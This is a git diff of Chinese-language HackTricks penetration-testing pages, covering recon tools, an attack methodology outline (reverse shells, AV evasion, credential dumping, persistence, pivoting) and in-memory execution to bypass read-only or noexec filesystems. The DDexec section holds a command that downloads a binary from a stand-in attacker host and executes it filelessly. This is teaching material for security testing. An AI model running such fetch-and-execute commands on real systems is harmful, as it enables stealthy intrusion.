老而金贵的google dorks始终对查找**不应存在的暴露信息**非常有用。唯一的问题是[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)包含数千个您无法手动运行的可能查询。因此,您可以选择您最喜欢的10个,或者使用**工具,如**[**Gorks**](https://github.com/carlospolop/Gorks)**来运行它们。**
|
老而金贵的google dorks始终对寻找**不应存在的暴露信息**非常有用。唯一的问题是 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) 包含数千个您无法手动运行的可能查询。因此,您可以选择您最喜欢的10个,或者使用**工具,如** [**Gorks**](https://github.com/carlospolop/Gorks) **来运行它们所有**。
|
||||||
|
|
||||||
_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快阻止您。_
|
_请注意,期望使用常规Google浏览器运行所有数据库的工具将永远无法完成,因为Google会很快阻止您。_
|
||||||
|
|
||||||
|
@ -616,7 +616,7 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
||||||
|
|
||||||
## [**网络渗透测试方法**](../../network-services-pentesting/pentesting-web/)
|
## [**网络渗透测试方法**](../../network-services-pentesting/pentesting-web/)
|
||||||
|
|
||||||
**大多数漏洞**都是由漏洞猎人发现的,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法**,您可以[**在这里找到此信息**](../../network-services-pentesting/pentesting-web/)。
|
**大多数漏洞**由漏洞猎人发现,存在于**网络应用程序**中,因此在这一点上,我想谈谈**网络应用程序测试方法**,您可以在 [**这里找到此信息**](../../network-services-pentesting/pentesting-web/)。
|
||||||
|
|
||||||
我还想特别提到[**Web自动扫描器开源工具**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果您不应该期望它们找到非常敏感的漏洞,但它们在**工作流程中实现一些初步网络信息**时非常有用。
|
我还想特别提到[**Web自动扫描器开源工具**](../../network-services-pentesting/pentesting-web/#automatic-scanners)部分,因为如果您不应该期望它们找到非常敏感的漏洞,但它们在**工作流程中实现一些初步网络信息**时非常有用。
|
||||||
|
|
||||||
|
@ -633,39 +633,39 @@ _请注意,期望使用常规Google浏览器运行所有数据库的工具将
|
||||||
5. 找到了范围内的**所有IP**(来自和**不来自CDN**的IP)。
|
5. 找到了范围内的**所有IP**(来自和**不来自CDN**的IP)。
|
||||||
6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有任何奇怪的地方值得深入研究?)
|
6. 找到了**所有网络服务器**并对它们进行了**截图**(是否有任何奇怪的地方值得深入研究?)
|
||||||
7. 找到了属于公司的**所有潜在公共云资产**。
|
7. 找到了属于公司的**所有潜在公共云资产**。
|
||||||
8. **电子邮件**、**凭证泄露**和**秘密泄露**,这可能会让您**轻松获得重大胜利**。
|
8. **电子邮件**、**凭证泄露**和**秘密泄露**,可能会给您带来**非常轻松的重大胜利**。
|
||||||
9. **渗透测试您找到的所有网站**
|
9. **渗透测试您找到的所有网站**
|
||||||
|
|
||||||
## **全面侦查自动工具**
|
## **全面侦查自动化工具**
|
||||||
|
|
||||||
有几种工具可以针对给定范围执行部分提议的操作。
|
有几种工具可以执行针对给定范围的部分提议操作。
|
||||||
|
|
||||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||||
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
|
||||||
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点旧且未更新
|
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 有点旧且未更新
|
||||||
|
|
||||||
## **参考文献**
|
## **参考资料**
|
||||||
|
|
||||||
* 所有免费的[**@Jhaddix**](https://twitter.com/Jhaddix)课程,如[**Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* 所有免费的 [**@Jhaddix**](https://twitter.com/Jhaddix) 课程,如 [**漏洞猎人的方法论 v4.0 - 侦查版**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对**黑客职业**和破解不可破解的东西感兴趣 - **我们正在招聘!**(_要求流利的波兰语书写和口语_)。
|
如果您对**黑客职业**和破解不可破解的东西感兴趣 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客攻击:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在Twitter上关注**我们🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向**[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -9,15 +9,15 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -29,11 +29,11 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
||||||
|
|
||||||
### 0- 物理攻击
|
### 0- 物理攻击
|
||||||
|
|
||||||
你是否对想要攻击的机器有 **物理访问权限**?你应该阅读一些关于 [**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md) 和其他关于 [**从 GUI 应用程序逃脱**](../hardware-physical-access/escaping-from-gui-applications.md) 的内容。
|
你是否对想要攻击的机器有 **物理访问** 权限?你应该阅读一些关于 [**物理攻击的技巧**](../hardware-physical-access/physical-attacks.md) 和其他关于 [**逃避 GUI 应用程序**](../hardware-physical-access/escaping-from-gui-applications.md) 的内容。
|
||||||
|
|
||||||
### 1 - [发现网络中的主机](pentesting-network/#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
|
### 1 - [发现网络中的主机](pentesting-network/#discovering-hosts)/ [发现公司的资产](external-recon-methodology/)
|
||||||
|
|
||||||
**根据**你进行的 **测试** 是 **内部测试还是外部测试**,你可能会对查找 **公司网络内部的主机**(内部测试)或 **在互联网上查找公司的资产**(外部测试)感兴趣。
|
**根据** 你进行的 **测试** 是 **内部测试还是外部测试**,你可能会对查找 **公司网络中的主机**(内部测试)或 **在互联网上查找公司的资产**(外部测试)感兴趣。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。
|
请注意,如果你正在进行外部测试,一旦你成功获得对公司内部网络的访问,你应该重新开始本指南。
|
||||||
|
@ -54,14 +54,14 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
||||||
|
|
||||||
### **5-** Pentesting 服务
|
### **5-** Pentesting 服务
|
||||||
|
|
||||||
如果没有任何针对正在运行的服务的特别漏洞,你应该寻找 **每个运行服务中的常见错误配置**。
|
如果没有任何运行服务的花哨漏洞,你应该寻找 **每个运行服务中的常见错误配置**。
|
||||||
|
|
||||||
**在本书中,你将找到一个关于渗透测试最常见服务的指南**(以及其他不那么常见的服务)。请在左侧索引中搜索 **_**PENTESTING**_ **部分**(服务按其默认端口排序)。
|
**在本书中,你将找到对最常见服务的渗透测试指南**(以及其他不太常见的服务)。请在左侧索引中搜索 **_**PENTESTING**_ **部分**(服务按其默认端口排序)。
|
||||||
|
|
||||||
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的一部分)。**\
|
**我想特别提到** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分(因为这是最广泛的一部分)。**\
|
||||||
此外,这里还有一个关于如何[ **查找软件中的已知漏洞**](search-exploits.md)的小指南。
|
此外,这里还有一个关于如何[ **查找软件中的已知漏洞**](search-exploits.md)的小指南。
|
||||||
|
|
||||||
**如果你的服务不在索引中,请在 Google 上搜索** 其他教程,并 **告诉我你是否希望我添加它。** 如果你 **在 Google 上找不到任何东西**,请进行 **自己的盲目渗透测试**,你可以从 **连接到服务、模糊测试并阅读响应**(如果有的话)开始。
|
**如果你的服务不在索引中,请在 Google 上搜索** 其他教程,并 **告诉我你是否希望我添加它。** 如果你 **在 Google 上找不到任何东西**,请进行 **自己的盲目渗透测试**,你可以从 **连接到服务、模糊测试并读取响应**(如果有的话)开始。
|
||||||
|
|
||||||
#### 5.1 自动工具
|
#### 5.1 自动工具
|
||||||
|
|
||||||
|
@ -69,7 +69,7 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
||||||
|
|
||||||
#### **5.2 暴力破解服务**
|
#### **5.2 暴力破解服务**
|
||||||
|
|
||||||
在某些情况下,**暴力破解** 可能对 **攻破** 一个 **服务** 有用。[**在这里找到不同服务暴力破解的备忘单**](brute-force.md)**。**
|
在某些情况下,**暴力破解** 可能对 **攻陷** 一个 **服务** 有用。[**在这里找到不同服务暴力破解的备忘单**](brute-force.md)**。**
|
||||||
|
|
||||||
### 6- [钓鱼](phishing-methodology/)
|
### 6- [钓鱼](phishing-methodology/)
|
||||||
|
|
||||||
|
@ -77,7 +77,7 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
||||||
|
|
||||||
### **7-** [**获取 Shell**](reverse-shells/)
|
### **7-** [**获取 Shell**](reverse-shells/)
|
||||||
|
|
||||||
不知何故,你应该找到 **在受害者上执行代码的某种方法**。然后,[在系统中可能使用的工具列表以获取反向 shell 将非常有用](reverse-shells/)。
|
不知怎么的,你应该已经找到 **某种方式在受害者上执行代码**。然后,[在系统中可以用来获取反向 shell 的可能工具列表将非常有用](reverse-shells/)。
|
||||||
|
|
||||||
特别是在 Windows 中,你可能需要一些帮助来 **避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
|
特别是在 Windows 中,你可能需要一些帮助来 **避免杀毒软件**:[**查看此页面**](../windows-hardening/av-bypass.md)**。**\\
|
||||||
|
|
||||||
|
@ -89,48 +89,48 @@ _Hacktricks 标志由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
||||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||||
|
|
||||||
### **9 -** [**提取**](exfiltration.md)
|
### **9 -** [**数据提取**](exfiltration.md)
|
||||||
|
|
||||||
你可能需要 **从受害者那里提取一些数据**,甚至 **引入一些东西**(如特权提升脚本)。**这里有一个** [**关于你可以用这些目的使用的常见工具的帖子**](exfiltration.md)**。**
|
你可能需要 **从受害者那里提取一些数据**,甚至 **引入一些东西**(如特权提升脚本)。**这里有一篇** [**关于你可以用来实现这些目的的常用工具的文章**](exfiltration.md)**。**
|
||||||
|
|
||||||
### **10- 特权提升**
|
### **10- 特权提升**
|
||||||
|
|
||||||
#### **10.1- 本地特权提升**
|
#### **10.1- 本地特权提升**
|
||||||
|
|
||||||
如果你在盒子里 **不是 root/管理员**,你应该找到一种方法来 **提升特权**。\
|
如果你在盒子里 **不是 root/管理员**,你应该找到一种方法来 **提升特权**。\
|
||||||
在这里你可以找到 **在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南。**\
|
在这里你可以找到 **在** [**Linux**](../linux-hardening/privilege-escalation/) **和** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **中本地提升特权的指南**。\
|
||||||
你还应该查看这些关于 **Windows 工作原理** 的页面:
|
你还应该查看这些关于 **Windows 工作原理** 的页面:
|
||||||
|
|
||||||
* [**身份验证、凭据、令牌特权和 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
* [**身份验证、凭据、令牌特权和 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||||
* [**NTLM 工作原理**](../windows-hardening/ntlm/)
|
* [**NTLM 工作原理**](../windows-hardening/ntlm/)
|
||||||
* 如何 [**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 在 Windows 中
|
* 如何 [**窃取凭据**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) 在 Windows 中
|
||||||
* 一些关于 [_**Active Directory**_](../windows-hardening/active-directory-methodology/) 的技巧
|
* 一些关于 [_**活动目录**_](../windows-hardening/active-directory-methodology/) 的技巧
|
||||||
|
|
||||||
**不要忘记查看最佳工具以枚举 Windows 和 Linux 本地特权提升路径:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**不要忘记查看最佳工具以枚举 Windows 和 Linux 本地特权提升路径:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
|
||||||
#### **10.2- 域特权提升**
|
#### **10.2- 域特权提升**
|
||||||
|
|
||||||
在这里你可以找到一个 [**方法论,解释最常见的操作以枚举、提升特权并在 Active Directory 中保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是 **极其微妙的**。
|
在这里你可以找到一个 [**方法论,解释最常见的操作以枚举、提升特权并在活动目录中保持持久性**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是 **极其微妙** 的。
|
||||||
|
|
||||||
### 11 - POST
|
### 11 - POST
|
||||||
|
|
||||||
#### **11**.1 - 掠夺
|
#### **11**.1 - 掠夺
|
||||||
|
|
||||||
检查你是否可以在主机内部找到更多 **密码**,或者你是否有 **访问其他机器** 的 **权限**。\
|
检查你是否可以在主机中找到更多 **密码**,或者你是否有 **访问其他机器** 的 **权限**。\
|
||||||
在这里找到不同的方法来 [**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
|
在这里找到不同的方法来 [**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。
|
||||||
|
|
||||||
#### 11.2 - 持久性
|
#### 11.2 - 持久性
|
||||||
|
|
||||||
**使用 2 或 3 种不同类型的持久性机制,这样你就不需要再次利用系统。**\
|
**使用 2 或 3 种不同类型的持久性机制,以便你不需要再次利用系统。**\
|
||||||
**在这里你可以找到一些** [**关于 Active Directory 的持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
|
**在这里你可以找到一些** [**关于活动目录的持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。**
|
||||||
|
|
||||||
TODO: 完成 Windows 和 Linux 的持久性帖子
|
TODO: 完成 Windows 和 Linux 的持久性后期处理
|
||||||
|
|
||||||
### 12 - 透传
|
### 12 - 透传
|
||||||
|
|
||||||
通过 **收集到的凭据**,你可能可以访问其他机器,或者你可能需要 **发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\
|
通过 **收集到的凭据**,你可能可以访问其他机器,或者你可能需要 **发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\
|
||||||
在这种情况下,隧道可能是必要的。这里你可以找到 [**关于隧道的帖子**](tunneling-and-port-forwarding.md)。\
|
在这种情况下,隧道可能是必要的。这里你可以找到 [**关于隧道的文章**](tunneling-and-port-forwarding.md)。\
|
||||||
你绝对应该查看关于 [Active Directory 渗透测试方法论](../windows-hardening/active-directory-methodology/) 的帖子。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
|
你绝对应该查看关于 [活动目录渗透测试方法论](../windows-hardening/active-directory-methodology/) 的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\
|
||||||
还要查看关于 [**NTLM**](../windows-hardening/ntlm/) 的页面,这在 Windows 环境中透传时可能非常有用。
|
还要查看关于 [**NTLM**](../windows-hardening/ntlm/) 的页面,这在 Windows 环境中透传时可能非常有用。
|
||||||
|
|
||||||
### 更多
|
### 更多
|
||||||
|
@ -151,9 +151,9 @@ TODO: 完成 Windows 和 Linux 的持久性帖子
|
||||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**填充 Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
* [**填充 Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -166,7 +166,7 @@ TODO: 完成 Windows 和 Linux 的持久性帖子
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@
|
||||||
|
|
||||||
## 视频
|
## 视频
|
||||||
|
|
||||||
在以下视频中,你可以找到本页面提到的技术的更深入解释:
|
在以下视频中,你可以找到本页提到的技术的更深入解释:
|
||||||
|
|
||||||
* [**DEF CON 31 - 探索 Linux 内存操控以实现隐蔽和规避**](https://www.youtube.com/watch?v=poHirez8jk4)
|
* [**DEF CON 31 - 探索 Linux 内存操控以实现隐蔽和规避**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||||
* [**使用 DDexec-ng 和内存 dlopen() 的隐蔽入侵 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
* [**使用 DDexec-ng 和内存 dlopen() 的隐蔽入侵 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||||
|
@ -45,10 +45,10 @@ securityContext:
|
||||||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
然而,即使文件系统被挂载为只读,**`/dev/shm`** 仍然是可写的,因此我们不能写入磁盘的说法是错误的。然而,这个文件夹将被 **挂载为无执行保护**,所以如果你在这里下载一个二进制文件,你 **将无法执行它**。
|
然而,即使文件系统被挂载为只读,**`/dev/shm`** 仍然是可写的,因此我们不能在磁盘上写入任何内容的说法是错误的。然而,这个文件夹将被 **挂载为无执行保护**,所以如果你在这里下载一个二进制文件,你 **将无法执行它**。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
从红队的角度来看,这使得 **下载和执行** 系统中未存在的二进制文件(如后门或枚举工具如 `kubectl`)变得 **复杂**。
|
从红队的角度来看,这使得 **下载和执行** 系统中不存在的二进制文件(如后门或枚举工具如 `kubectl`)变得 **复杂**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 最简单的绕过:脚本
|
## 最简单的绕过:脚本
|
||||||
|
@ -59,16 +59,16 @@ securityContext:
|
||||||
|
|
||||||
## 内存绕过
|
## 内存绕过
|
||||||
|
|
||||||
如果你想执行一个二进制文件,但文件系统不允许这样做,最好的方法是 **从内存中执行它**,因为 **保护措施不适用于那里**。
|
如果你想执行一个二进制文件,但文件系统不允许这样做,最好的方法是 **从内存中执行它**,因为 **保护措施不适用于内存**。
|
||||||
|
|
||||||
### FD + exec 系统调用绕过
|
### FD + exec 系统调用绕过
|
||||||
|
|
||||||
如果你在机器内部有一些强大的脚本引擎,例如 **Python**、**Perl** 或 **Ruby**,你可以将二进制文件下载到内存中执行,将其存储在一个内存文件描述符中(`create_memfd` 系统调用),这个描述符不会受到这些保护的影响,然后调用 **`exec` 系统调用** 指定 **fd 作为要执行的文件**。
|
如果你在机器内部有一些强大的脚本引擎,例如 **Python**、**Perl** 或 **Ruby**,你可以将二进制文件下载到内存中执行,将其存储在内存文件描述符中(`create_memfd` 系统调用),这不会受到这些保护的限制,然后调用 **`exec` 系统调用** 指定 **fd 作为要执行的文件**。
|
||||||
|
|
||||||
为此,你可以轻松使用项目 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。你可以传递一个二进制文件,它将生成一个指定语言的脚本,包含 **压缩和 b64 编码的二进制文件** 以及 **解码和解压缩** 的指令,使用调用 `create_memfd` 系统调用创建的 **fd** 和调用 **exec** 系统调用来运行它。
|
为此,你可以轻松使用项目 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。你可以传递一个二进制文件,它将生成一个指定语言的脚本,包含 **压缩和 b64 编码的二进制文件** 以及 **解码和解压缩** 的指令,存储在通过调用 `create_memfd` 系统调用创建的 **fd** 中,并调用 **exec** 系统调用来运行它。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
这在其他脚本语言如 PHP 或 Node 中不起作用,因为它们没有任何 **默认方式从脚本调用原始系统调用**,因此无法调用 `create_memfd` 来创建 **内存 fd** 来存储二进制文件。
|
这在其他脚本语言中不起作用,如 PHP 或 Node,因为它们没有任何 **默认方式从脚本调用原始系统调用**,因此无法调用 `create_memfd` 来创建 **内存 fd** 来存储二进制文件。
|
||||||
|
|
||||||
此外,使用 `/dev/shm` 中的文件创建 **常规 fd** 也不起作用,因为你将无法运行它,因为 **无执行保护** 将适用。
|
此外,使用 `/dev/shm` 中的文件创建 **常规 fd** 也不起作用,因为你将无法运行它,因为 **无执行保护** 将适用。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -80,7 +80,7 @@ securityContext:
|
||||||
因此,**控制正在被进程执行的汇编代码**,你可以编写 **shellcode** 并“变异”该进程以 **执行任何任意代码**。
|
因此,**控制正在被进程执行的汇编代码**,你可以编写 **shellcode** 并“变异”该进程以 **执行任何任意代码**。
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** 将允许你从 **内存** 中加载和 **执行** 你自己的 **shellcode** 或 **任何二进制文件**。
|
**DDexec / EverythingExec** 将允许你加载并 **执行** 你自己的 **shellcode** 或 **任何二进制文件** 从 **内存** 中。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
|
@ -100,7 +100,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
||||||
|
|
||||||
### Memdlopen
|
### Memdlopen
|
||||||
|
|
||||||
与 DDexec 具有相似目的的 [**memdlopen**](https://github.com/arget13/memdlopen) 技术允许以 **更简单的方式加载二进制文件** 到内存中以便稍后执行。它甚至可以加载带有依赖项的二进制文件。
|
与 DDexec 目的相似, [**memdlopen**](https://github.com/arget13/memdlopen) 技术允许以 **更简单的方式加载二进制文件** 到内存中以便稍后执行。它甚至可以加载带有依赖项的二进制文件。
|
||||||
|
|
||||||
## Distroless Bypass
|
## Distroless Bypass
|
||||||
|
|
||||||
|
